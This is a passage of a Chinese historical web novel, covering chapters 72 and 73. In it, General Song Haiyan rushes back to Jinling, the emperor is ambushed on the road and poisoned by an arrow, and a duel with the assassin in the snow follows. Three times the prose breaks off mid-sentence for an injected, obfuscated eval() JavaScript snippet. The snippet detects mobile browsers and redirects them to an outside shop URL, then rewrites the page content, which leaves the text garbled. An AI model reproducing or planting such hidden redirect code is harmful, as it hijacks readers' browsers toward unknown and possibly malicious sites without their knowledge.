澹台恭吓了一跳,他不介意和齐氏尽释前嫌,可要他直面宋海晏麾下的虎狼之师,他可没这个胆量。他担心自己成为齐氏手中驱虎吞狼的棋子,正要出言推拒,齐椽又道:“澹台将军放心,如今南方天师道汇聚十万之众,已经足够他宋海晏喝上一壶。你只需从旁策应,尽量拖住宋海晏,不要让他轻易北上即可——” 书房之内,澹台恭与齐椽击掌为盟,一时宾主尽欢。书房之外,赵松声咬牙切齿,气血翻涌。他想,七年之前,齐椽多半也是像今日一样,仅凭三寸不烂之舌,便说服父亲反背宋家。最终,父兄身死,赵氏一族被驱逐出寿春,他和宋碧棠的婚事也告吹;而齐椽丝毫无损,依然隐于幕后,构织种种阴谋。 盟约既定,澹台恭于府中设宴款待齐椽一行。为表赤诚,宴席备得极为奢华,丝竹管弦之声不绝于耳,歌姬舞女翩跹献艺。不仅齐椽喝得醉醺醺的,连随行侍卫们的脸上都带了几分醉意。 宴罢,齐椽脚步踉跄,由美貌舞姬搀扶着往客房而去。行至廊下,见侍立一旁的赵松声,忽地停步,“差点忘了,还有一件大事!” 他从怀中取出一封信函,低声吩咐道:“阿赵,你即刻往会稽走一遭,尽快将此信送给天师道张教首座下的大弟子张元庆。” 赵松声接过信函,心中一震。 齐椽手眼通天,竟连天师道也和他有所勾连。他转念又想,齐椽差遣自己往会稽送信,正是天赐良机——他正可借此机会,设法将齐氏阴谋告知正在会稽平叛的宋海晏。 事已至此,即使他此刻拼死对齐椽动手,对金陵即将到来的风暴也于事无补。但宋海晏或许可以力挽狂澜,挫败齐氏阴谋。 *** 冬夜的诸暨,万籁无声,宋海晏踏着满地白霜,步履沉凝,向辕门行去。 他听完赵松声的讲述,一颗心如坠冰窟。他知道齐氏有不轨之心,但没想到变故来得如此之快。他思绪电转,思考该如何应对目前的局面。 澹台恭倒向齐家,就连天师道也和齐氏有所勾连,齐椽的目的是将他拖在会稽,等皇帝晏驾、新君一立,一切再也无力回天。 他已来不及回京勤王,就算他能荡平天师道、扫清澹台恭,毗陵、丹阳、义兴一带必有齐栋率领齐家精锐固守,阻挡他率军北上。等他击败齐栋,金陵城中大局已定。若陛下……若阿幸身殒,则他平生所愿,尽付东流,一切挣扎,皆成虚妄。 不,他绝不能坐视这一切发生。 行营守夜的士兵见主帅从外归来,行礼道:“将军——” 宋海晏脚步一停,道:“请女公子到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694670|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中军大帐见我。” “是。”士兵得令去了。 宋碧棠匆匆来到中军大帐前,见宋海晏已换了身玄色劲装,鞍马齐备,立于帐外,似是即刻便要出行。她奇道:“阿兄,这么晚了,你要往何处去?” 宋海晏目光幽邃,似凝着化不开的寒冰:“碧棠,齐鸿父子意欲谋逆,金陵生变,陛下有危险……”他将赵松声所报之事扼要道出,语速急促,“如今率军勤王已来不及,我只能尽快回金陵,看看能否救出陛下。我宋家大军和南方局面,只能一并交托给阿棠你了……” 宋碧棠面上惊诧之色一闪而过,旋即强抑心神,急声劝道:“阿兄,小妹以为阿兄现在回金陵过于冒险了。如赵松声所言,京畿一带已完全在齐家掌控之下,如果齐氏果真谋逆,兄长一人回去,和羊入虎口有什么区别?君子不立危墙之下,纵有万夫不当之勇,又怎抵齐氏千军万马?兄长万一有所不测,我们宋家又该怎么办?” “所以,我现在还有话要交代给你。”宋海晏神色一肃,字字千钧,“我离开后,阿棠立刻派人给驻守徐州的宋陆丰和驻守濡须口的陆思明送信。若齐氏真有异动,便趁齐氏主力在江南之际,发兵攻占北扬州。若我有所不测,便由陆丰继任宋氏家主的位置,我已替他选定荆州何家表妹为妻,有了舅父的支持,将来我们宋家便可与齐家划江而治,徐图报仇之事。” 他深深地看了妹妹一眼,又道:“如果豫章王世子有对抗齐氏之心,我宋家支持他上位亦可。论起韬略机变,小妹远胜于我,这些话我本不必说,但终须交代一声,以免小妹行事束手束脚……” 宋碧棠僵立当场,寒夜冷气仿佛瞬间浸透了四肢百骸。兄长这些话,分明已是托付身后之事。他竟抱定必死之心,只身奔赴龙潭虎穴,只为金陵城中那一人的安危。 “可是……”宋碧棠心头一堵,劝道:“京中还有禁军和卫尉,陛下也不是任人宰割的羔羊,未必会有事。兄长抛下大军,孤身而返,不但难有作为,反而授人以柄。如此自陷绝地,是莽夫所为——” “我知道,但我赌不起。”宋海晏轻轻摇头,“齐氏阴险狠辣,非常理能够测度,我必须亲眼看到她没事,才能放心。阿棠,对不起,我没有办法……” 话音未落,他已翻身上马,动作干脆利落,朝宋碧棠用力一拱手:“阿棠,一切拜托了。”战马长嘶一声,跨出营门。 宋碧棠看着他的背影,再说话时已带了呜咽之声,她大声道:“阿兄,你就打算如此轻捐性命?阿兄不是有北伐之志吗?难道你不想再光复洛阳了吗?” 宋海晏勒马回首,霜月清辉映着他棱角分明的侧脸,眸中似有火焰在深处灼灼燃烧。他声音很轻,却字字砸在宋碧棠心上,“碧棠,你不懂,如果她死了,北伐也好,洛阳也罢,于我……皆成空花泡影,再无半分意义……” 四目相对,宋碧棠终于看清了兄长眼底那不顾一切的光芒——炽热、决绝,明知前路是焚身烈焰,亦要如飞蛾般纵身投入,不肯回头。 她忽地想到七年之前父亲曾说过的话。 “阿棠,你的兄长勇智兼备,但性子执拗,犟起来十头牛也拉不回来……” 一瞬间,她忆起过去的很多事。 那年她到药师庵接他,兄长久久凝望着知事堂那棵梨树,恋恋不舍,不愿离开。 归家之后,他执意求娶公主,任凭父亲家法加身,打得皮开肉绽,犹自咬紧牙关,寸步不让。 七年前北伐归来,皇帝命内监赐给他一只木匣。从此,他便常于无人处摩挲着那匣子,怔怔出神,魂游天外。 如今七年过去,宋海晏性子成熟了许多,行事也愈发沉稳持重。宋家在他的带领之下快速壮大,成为这天下谁都不敢小觑的力量。宋碧棠常常想,如果父亲在天有灵,看到阿兄如今的样子,会十分宽慰吧。 然而,一遇到“她”的事,他便和从前不管不顾的犟牛没什么两样。 明知山有虎,偏向虎山行。 但她不能阻止他。 如果今天不许他去,终此一生,他再不会感到快乐。 万般酸楚涌至喉头,化作滚烫的热意灼烧着眼眶。她终是咽下所有劝阻与悲鸣,对着那即将没入沉沉夜色的背影,深深敛衽:“兄长珍重!家中诸事,碧棠一肩担之,断不负所托!” 宋海晏闻言,眉宇间最后一丝凝重仿佛也随之卸下。他再无迟疑,猛地一夹马腹。骏马长嘶,声裂寒夜,四蹄翻腾,踏碎一地如霜月光,向北疾驰而去。 72. 第三章 金陵危局 元宁七年的冬天注定不太寻常。 北风日日呼啸,却无雨无雪,只一味阴湿透骨。屋外寒意凛冽,教人一点都不想出门,就连早朝时奏事的都少了许多,毕竟谁都不愿意在冰窖一样的太极殿站一上午,只想早早下朝,遁入燃着红泥炭火的署衙取暖。 萧含光索性将早朝改为三日一朝,若有紧要之事,五品以上官员可径直入御书房奏陈,不受时辰所限。陈事的官员也不多,除了齐韶之外,便只有通事郎每日送呈南方来的战报。 开始战事还算顺利,随即便陷入相持和反复。纵然宋海晏屡战屡胜,但想要将天师道叛军彻底剿灭,并不是一件容易的事。 萧含光心中焦灼,不仅因为南方僵持不下的战事,还出于对齐家的担忧。 她相信宋海晏的警告不是没来由,齐家大军趁败退之机向京畿地区靠拢,很可能别有用心。 整座金陵城防卫分内宫城、外皇城两个部分。宫城治卫由禁军统领李藏甲负责,统辖羽林卫五千人。皇城防卫则由石头城、丹阳城、东府城、覆舟山等各处卫所构成,共辖军士两万人。 齐鸿位列三公,司徒府依制可蓄养部曲,府中约有兵士两千,披甲不详。而扬州都督齐栋下辖的军队足有八万。若齐家拥兵造反,防卫金陵的力量远远不够,只能支撑一段时日,寄望于宋海晏的援兵。 当然,如果齐氏真的有什么异动,她倒是可以先下手为强,先命人围住司徒府,使齐栋投鼠忌器。 但齐氏一切如常。齐鸿每次早朝回家后,就窝在书房不出来,也不见外客。齐氏二公子依旧和从前一样行踪不定,甚少留在金陵城。江南局面稳定之后,齐栋便率军固守毗陵一带,没有继续率兵北上。 萧含光亦不便大张旗鼓,只得密召禁军统领李藏甲与金陵卫尉韩毅入宫,敕令二人增强武备,以防不测。又亲临石头城、丹阳城、覆舟山诸处卫所巡幸,检视防务,务求万全。 她心中筹算,阿桑有齐韶保护,就算万一被齐氏知晓,也可保安全无虞。唯一疏漏之处,是一直居住在鸡笼山行宫的母亲苏太后。 七年之前,太皇太后将苏太后迁置别宫。鸡笼山中清静,苏太后也不愿再回宫城,便长居于此。萧含光每月初一出城去看望她。但鸡笼山防卫到底不比宫中,萧含光思忖再三,还是觉得让母后迁回宫中比较安全。 十二月初一,皇帝乘銮舆离开宫城,往城北鸡笼山行宫而去。 萧含光到达香云殿外,苏太后亲自迎了出来,叫道:“阿樗——” 萧含光鼻头微酸,自皇兄薨逝,母亲将对兄长的思念寄托在她的身上,她是母亲的女儿,也是母亲的儿子。 行礼之后,萧含光扶着母亲进入殿中,陪母亲说些体己话,问她身体如何,最近吃的药怎么样。苏太后含笑一一应答,眉目慈和。 近年以来,苏太后头上又增了不少白发,御医说是气血亏虚,萧含光从静仪师太处求了药方,替母亲调养身体。苏太后出身不显,家中兄弟也不成器,她知道自己帮不上女儿太多忙,便只能保重自身,让女儿少为她操心。 萧含光陪母亲叙了一会儿话,恳切道:“母后,朕今日来此,另有一桩大事。今年冬天严寒,山上更冷,母后独居山上,难免有不周全之处,儿实在放心不下。不若请母后暂移驾回宫,待来年春暖,再返此地,不知母后圣意如何?” 苏太后见皇帝面有忧色,迁居之事,谅不全是因为严寒天气。她也并不多问,只道:“哀家在此,倒也清寂惯了。陛下既然心中怀忧,觉得宫中安稳,便依陛下之意。” 萧含光道:“既如此,母后便先作准备。朕已命人看过,后日日子不错,朕命冯大用前来,接母后回宫。” 萧含光又坐了一会儿,见天色渐晚,便命起驾回宫,苏太后将皇帝送出行宫,目送皇帝登车而去。 隆冬时节,万木萧疏。皇帝车舆驶过山道上的枯枝碎叶,发出吱嘎的响声。 天际彤云密布,冷雾缤纷,似乎是即将下雪之兆,萧含光命车队加快速度,尽早回宫。 马车的速度快了些,却也更加颠簸。萧含光扶住车壁,强风掀开车帘,雪花扑入帘中,一股彻骨寒意扑面而来。 朔风呼啸,林中枯木断折,马蹄声、车轮声、风声、雪声混杂在一处,在一片嘲哳之中,她听到几声闷响,像是弩箭钉入木板的声音,紧接着马车一顿,停了下来。 她听到有人在大喊:“有刺客,保护陛下——” 马车中探入一颗脑袋,是素来暗中护卫皇帝的暗卫首领,“有敌袭,对方人数不少,属下保护陛下先走——” 紧接着,她整个人被拉出马车,跨上一匹骏马,在几名暗卫的陪同下驰入密林之中,身后传来阵阵厮杀之声。 萧含光听得心惊肉跳。 自从七年前在夏苗礼上遇刺,她身边防卫严密了许多。但凡出宫,都有三百羽林卫随侍,还有十几名暗卫近身保护。能在金陵近郊埋伏如此多的人手伏杀皇帝,除了齐氏料应再无他人,她还是低估了齐氏行事的肆无忌惮。 马蹄声疾,林中无数枯叶混着碎雪飞扬。十几名黑衣人如鬼魅般从两侧密林中突现,手中兵刃寒光乍起,直扑骑队—— “护驾!”暗卫首领厉喝一声,他身后的数名暗卫早已拔刀出鞘,动作快如电闪,与扑至近前的黑影绞杀在一处。 雪幕之下,金铁交鸣之声响起,压过了风声。萧含光身边的暗卫皆是千挑万选、训练有素的死士,招式狠辣精准,毫无花哨,每一击都直奔要害。暗卫手中短刃如毒蛇吐信,瞬间刺入当先一名刺客的胸膛,血箭飙射,染红雪地。 然而刺客如潮水般涌来,且个个悍不畏死。他们结成战阵,刀剑织成一张死亡之网,很快便有三名暗卫倒下。 “走——”暗卫首领一手控缰,一手挥舞着长刀,格开两支射向萧含光的弩箭,刀锋斜劈,将一名试图攀上马背的刺客斩落马下,随即用刀柄重重击向马屁股,高声喝道:“属下断后,陛下先走——” 萧含光伏在马背上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710021|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳畔传来刀剑交击之声以及垂死之人嘶哑的哀号声,只是那声音越来越远。雪势越大,山林之中很快积了一层素白,身下骏马不知疲倦般向前疾冲,萧含光放眼四周,全是一模一样的树林和积雪,她茫茫然不知身在何处。 若是七年之前,她估计已经吓破了胆。如今她虽心中害怕,但并不慌乱,紧紧握着手中缰绳,一边驱驰着骏马向前,一边思考着齐氏为何敢冒天下之大不韪刺杀皇帝。 七年之前,萧含光在覆舟山围场遇刺。之后,玉烛殿的皇后突然发疯,差点掐死当时不过半岁的颍川郡王。太皇太后赐死负责照顾颍川郡王的澹台夫人,将颍川郡王接入椒房殿中亲自抚养,将那个孩子的命握在自己的手中。 自此之后,司徒公和太皇太后之间似乎达成了某种平衡。不管朝堂上如何暗流涌动,萧含光再也没有遇到什么危险,直到此回。 齐氏再次刺杀皇帝,也许是他们已经知道了阿桑的存在。齐鸿大概认为,即使她死了,太皇太后也不会选择真皇子阿桑作为嗣君,而是将颍川郡王这个假皇子推上皇位。 萧含光心中悚然,这样的情况真有可能发生。 她一直忽略了一件事,太皇太后将颍川郡王养在膝下,已经整整七年。将一个孩子从牙牙学语养至垂髫之年,朝夕相伴。这么长的时间,就算是一只猫儿狗儿,也会生出感情,何况是活生生的人。人生了感情就会不忍,心中的天平便会倾斜。 阿桑是她兄长唯一的骨血,是真正的大楚龙脉。然于朝野诸公眼中,不过是来历不明的野孩子。文武重臣岂会轻易俯首,拥戴一个突然冒出来的孩子成为一国之君?萧含光原本的计划,是和宋海晏联手,慢慢瓦解齐家势力,再将朱氏迎入宫中为妃,待时机成熟,告祭太庙,昭示天下,方能名正言顺地册立储君。但今夜变生肘腋,一切计划都被打乱了。 除此之外,还有一个最要命的问题,要彻底瓦解齐阀,非宋海晏襄助不可。而太皇太后深深忌惮宋氏军力,宋海晏也不相信太皇太后,如果她今夜真的死在这里,太皇太后为了朝廷的稳定,多半会向齐氏妥协。而宋海晏为报父仇,必将与齐氏互相征伐,金陵将再次沦为战场,北伐中原,从此再无指望。 身后再次传来弩箭的破空声,似乎又有追兵赶到。萧含光银牙暗咬,猛地一踢马腹,控紧缰绳,坐下神骏如离弦之箭,没入前方风雪弥漫的幽暗密林。 无论如何,她必须活下去—— 为了大楚江山,为了阿桑,为了宋海晏,为了未竟的北伐之志!她,绝不能死在此地—— 不知奔出多远,座下神骏发出一声哀鸣,跪倒在地,一支羽箭落在前方不远处。萧含光从马背上滚落,右腕传来一阵剧痛,她用左手一摸,是自己温热的血。 她知道追兵就在身后,顾不得伤口,踏着风雪,向前方发足奔跑。可没跑几步,伤处传来麻痒之感,她两眼一昏,陷入黑暗之中。 在昏迷之前,她似乎听到一句熟悉的呼喊。 “阿幸——” 73. 第四章 雪中猎手 大雪如鹅毛般落下。 雪花落在眼睫上,随即化为雪水,宋海晏抬手拭去水珠,背靠老树弯弓搭箭,屏息凝神地搜寻着暗夜中的猎手。 他非常肯定,这名猎手就是秋猎时将他引入幽谷的人。按照阿幸的说法,七年之前,他在洛阳城下被毒箭所伤,也是此人所为。 如今阿幸身中毒箭,昏迷不醒,解药必在此人身上。这毒箭见血封喉,当年他也曾中过此毒。军医说过,这是最霸道的蛇毒,中毒者十不存一。他整整昏迷了十余日才苏醒,能活下来实属侥幸。没想到,同样的厄运竟降临在阿幸身上。 …… 宋海晏从诸暨驰骋两个昼夜,终于到达金陵近郊。得知一切如常,他以为齐氏尚未动手,心中长舒一口气。 他本来想找机会借密道遁入宫中,提醒萧含光注意齐氏和澹台氏的阴谋,忽忆起今日恰好是初一。按惯例,皇帝每月此时都会出宫,前往鸡笼山行宫拜谒苏太后。 他心中顿时生起不好的预感。齐椽曾对澹台恭言说,不出数日,金陵宫中会传出天子崩逝的消息。宫中守卫森严,要在宫中弑君,并不容易,最好的机会就是今日,趁皇帝往来鸡笼山,在山道途中设伏。 他立刻赶往鸡笼山,弃马从小道转入山林之中,却见地上都是横七竖八的尸体,不远处还有刀剑交击之声。他循声而去,见两队人马厮杀在一起。他急寻皇帝身影,忽地感受到一股熟悉的气息。 这股气息不同于沙场杀伐之气,像是暗夜里潜伏的蝮蛇,阴冷而险恶,只等合适的机会,便要择人而噬。 他记起来,是齐家那位名叫屠越的猎手,整个战场中最危险的人。 他未及深想,便追逐着那道气息而去。他赶到时,正见到一支羽箭没入皇帝座下的马腹之中,骏马顷刻倒地,而另外一支闪烁着幽绿寒芒的箭矢掠过阿幸,阿幸坠马,踉跄着跑了几步,便倒地不起。 宋海晏立刻弯弓搭箭,朝羽箭射来的方向放了一箭。弓矢没入雪地之中,这一箭,并没有命中。几乎同时,一支冷箭破空而来,他闪身躲入树后。 雪越下越大,深林之中不辨视线,三丈之外几乎什么都看不清。远方的战场声音消歇,不知战斗是否已经结束。 屠越还有没有走,宋海晏仍能感觉到那刺骨的杀意,如芒刺背。屠越接下的命令应该是杀死皇帝,他现在尚不能确信皇帝是否真的死了,不愿离开。又或者,屠越已经认出了自己,想要趁此机会一并解决这个宿敌。 同样,宋海晏也必须杀死屠越,才能得到蛇毒的解药。 两位最顶尖猎手隔着漫天飞雪无声对峙。 宋海晏深深吸了一口气,看了一眼阿幸倒地的方向。他心急如焚,却不敢贸然现身——对方箭术不在他之下,一旦他暴露在对方视线中,必死无疑。 高阶猎手之间的较量,比的就是谁更有耐心。但阿幸不能等,不出半个时辰,蛇毒就会侵入心脉,神仙难救。 他没有犹豫太久,离开藏身之处,向阿幸的方向奔去。果然,他刚一动,便有一道利箭破空声从东南方向传来,宋海晏就地一滚,起身时五箭齐发,封死了屠越所有退路。 雪夜里传来一道闷哼之声,像是野兽受伤的低吼,瞬间被呼啸的风雪吞噬。 宋海晏心头一凛,五箭齐发,覆盖了屠越可能闪避的所有死角,终于有一箭奏效!他不敢有丝毫松懈,身体如猎豹般压低,锐利的目光穿透雪幕,死死锁定声音来源的方向,他能感觉到那股阴冷的杀意骤然变得混乱而狂暴。 屠越受伤了,但绝非致命。宋海晏知道,受伤的猛兽,比任何时候都更具威胁。他强迫自己不要去想阿幸,耳朵捕捉着雪地里最细微的声响——沉重的喘息声,靴子踏过雪地的声音,还有……弓弦被再次拉开的微弱紧绷声! “咻——!” 破空声比之前更近,更急。 宋海晏瞳孔猛缩,身体几乎在声音响起的同时向侧后方急退。箭镞擦过左肋,带起一片血花。寒气侵入伤口,火辣辣地疼。但这只是虚招——但就在他闪避的瞬间,另一支箭接踵而至。 屠越同样预判了他躲避的方向路线,这第二箭才是真正的杀招,直取他的心口。 他已无法完全避开这一箭。 宋海晏眼中闪过一丝决绝。他只微微倾身,避开心脏要害之处,同时右臂肌肉偾张,听声辨位,用尽全身力气将早已扣在指间的一支铁箭,朝着远方风雪激射而出。 “呃啊——”远方传来凄厉短促的叫声,随即,那声音消弭在风雪之中。 宋海晏只觉得一股巨大的力量狠狠撞在左肩下方,随即是撕裂般的剧痛,而蛇毒带来的麻痹感随即如冰冷的潮水般席卷全身,疼痛渐渐不觉,肩头到左前胸几乎全无知觉。他咬紧牙关,拔出那支羽箭,强撑着身体往屠越倒地的方向走去。 他必须找到蛇毒的解药,阿幸才能有救。 他踉踉跄跄靠近屠越的尸体,打开腰间的囊袋,里面空空如也,他粗暴撕开屠越的衣服、袖口,甚至靴子,冀望于找到药瓶之类的东西,然而屠越全身上下除了水囊和一点碎银,什么都没有。 宋海晏一颗心沉入谷底,屠越竟没有随身携带蛇毒的解药。 …… 雪一直在下,整座鸡鸣山渐渐被飞雪覆盖,林莽之间一片皎然寂静。 宋海晏将阿幸横抱于怀,触手只觉她周身冷若寒冰,玉容惨白如纸,鼻息更是微弱得几不可闻。他颤抖的手轻轻抚过她青紫色的唇瓣,心中陷入彻底的绝望。 他奔袭数百里到此,难道要眼睁睁看着她香消玉殒吗? 不,他不能接受这样的结果! 他要救她,他要带她求医。宫中有御医,但眼下回宫并不安全。或许他应该带她去药师庵,静仪师太说不定会有办法。 他挣扎着将阿幸抱起,左肩忽然传来一阵突兀的剧痛。 他心中蓦地一动。他先前同样中了毒箭,肩头麻痹,失去知觉,此刻竟重新感到疼痛,莫非那蛇毒于他已然失效? 七年前他中此毒侥幸未死,正因如此,这次蛇毒对他效果甚微。那么他的血或许对她有用,就算不能彻底解毒,应该也能拖延一段时间。 念及此,宋海晏不再犹豫。他自腰间拔出匕首,划破左手食指,殷红的血珠瞬间渗出。他强忍着肩头的剧痛,将流血的指尖凑到阿幸唇边,血珠顺着她乌青的唇瓣滑落,滴入口中。 宋海晏死死盯着阿幸的脸庞,心中忐忑不安,不知这法子是否有效。 时间一点一滴过去,阿幸依旧昏迷不醒。宋海晏的心渐渐沉了下去,难道自己的血也无法救她吗?就在他再次濒临绝望之际,却见阿幸的睫毛微微颤动了一下。 “阿幸……”宋海晏轻声呼唤。 那双黑曜石一般的眼睛缓缓打开,似乎认出了他,喃声道:“阿晏……” 宋海晏几欲落泪,他将女子柔软的身躯拥入怀中:“阿幸,是我。你别怕,我回来了,我会救你。” 然萧含光苏醒片刻,又沉沉昏睡过去。 远方传来马蹄之声,似乎人数不少,不知是齐家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715081|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人马,还是前来救驾的人。宋海晏不敢去赌,他将阿幸负在背上,向密林深处远遁而去。 一队人马出现在皇帝马车遇袭之处。 齐椽骑着高头大马,着一身白狐裘,在夜雪中更显得清贵无比。他淡淡扫过满地的尸体,问道:“情况如何?” 一名黑衣大汉答道:“禀二公子,这次我们出动暗营私兵三百人,死士五十人,虽折损过半,但将皇帝身边的几百羽林军杀得一个不剩,只有两名暗卫带伤逃脱。” “我是问你皇帝呢?” “皇帝一人骑马遁走,屠越已经追过去了。以他的箭术,京中绝无对手,皇帝必死无疑,二公子请放心……” “活要见人,死要见尸,叫屠越来见我。” “二公子,屠越还没回来。” “还没回来?太皇太后已经知道皇帝遇刺的事,父亲奉懿旨入宫。今日大事,成败在此一举,今天晚上我一定要见到尸体。”齐椽目光泠泠,扫视周围之人:“还不快去找——” “是。”人群向四周散开。 这时,远方飞马来报:“二公子,中书侍郎齐韶同金陵卫尉统领韩毅正率军入山。” “这么快?”齐椽微微一怔,随即当机立断:“让我们的人先撤。” “如果皇帝死了,一切便成定局,齐韶来了也无法改变什么。”他看向黑衣大汉,下令道:“如果她没死,一定要在齐韶之前找到她。” …… 一刻钟之后,齐韶便到了齐椽刚才驻马之处。 他下马,看着不久之前留下的纷乱脚印,一向温润的眉眼陡然变得凌厉如刀,显出沉沉的戾色。 一名校尉上前,禀道:“韩统领、齐大人,这里的尸体已经全部找过了,没有找到皇帝陛下。” 韩毅神情凝重,道:“搜山,一定要找到陛下——” 齐韶紧蹙的眉头略微舒展,如果没有找到尸体,说明皇帝有可能还活着,他必须用最快的速度找到她。 他走到皇帝的马车前,看向前方已经被飞雪覆盖的山道。如果皇帝遇袭,按照此前受到的训练,暗卫最有可能带着皇帝骑马突围。山道从南到北,敌人从南边来袭,北方是大道,东向是上山坡,奔逃不便,那么皇帝最有可能突围的方向是西边。 他骑马向西而行,身后韩毅高声道:“齐大人,你去哪儿?” 齐韶道:“韩大人继续搜查,我到那边看看。” 齐韶行出不远,便见到暗卫首领被雪覆盖的尸体,身下的血已经凝结,但他双目圆睁,看向西北的方向。 西北。皇帝最后是向西北方向离开。 马蹄印早已淹没在风雪之中,齐韶借着雪光,仔细搜寻西北的每一寸土地。终于,他找到了那匹倒毙的马,雪地中有殷红的血迹,林中散落着几支闪着蓝光的羽箭,皇帝依然杳无踪影。 忽地,他看到东边树后有一具倒地的尸体。他的心瞬间提到嗓子眼,急忙奔了过去。死者身着山中猎人的装束,他的胸膛上插着一支镔铁箭,在他身体不远之处,还有另外几支同样的箭矢插入雪地之中。 显然此前林中发生过一场激斗。 这种镔铁箭是庐江宋氏制式武器,难道宋海晏来过这里?按常理而言,如今南方大战未艾,身为一军主帅,宋海晏不可能离开军中。 但是除了宋海晏,谁还有如此箭术,在对战中杀死了这位一看就不凡的猎手? 思及此处,他缓缓吐出沉积在胸中的浊气。 他必须立刻赶回宫中,事情还有最后的转机。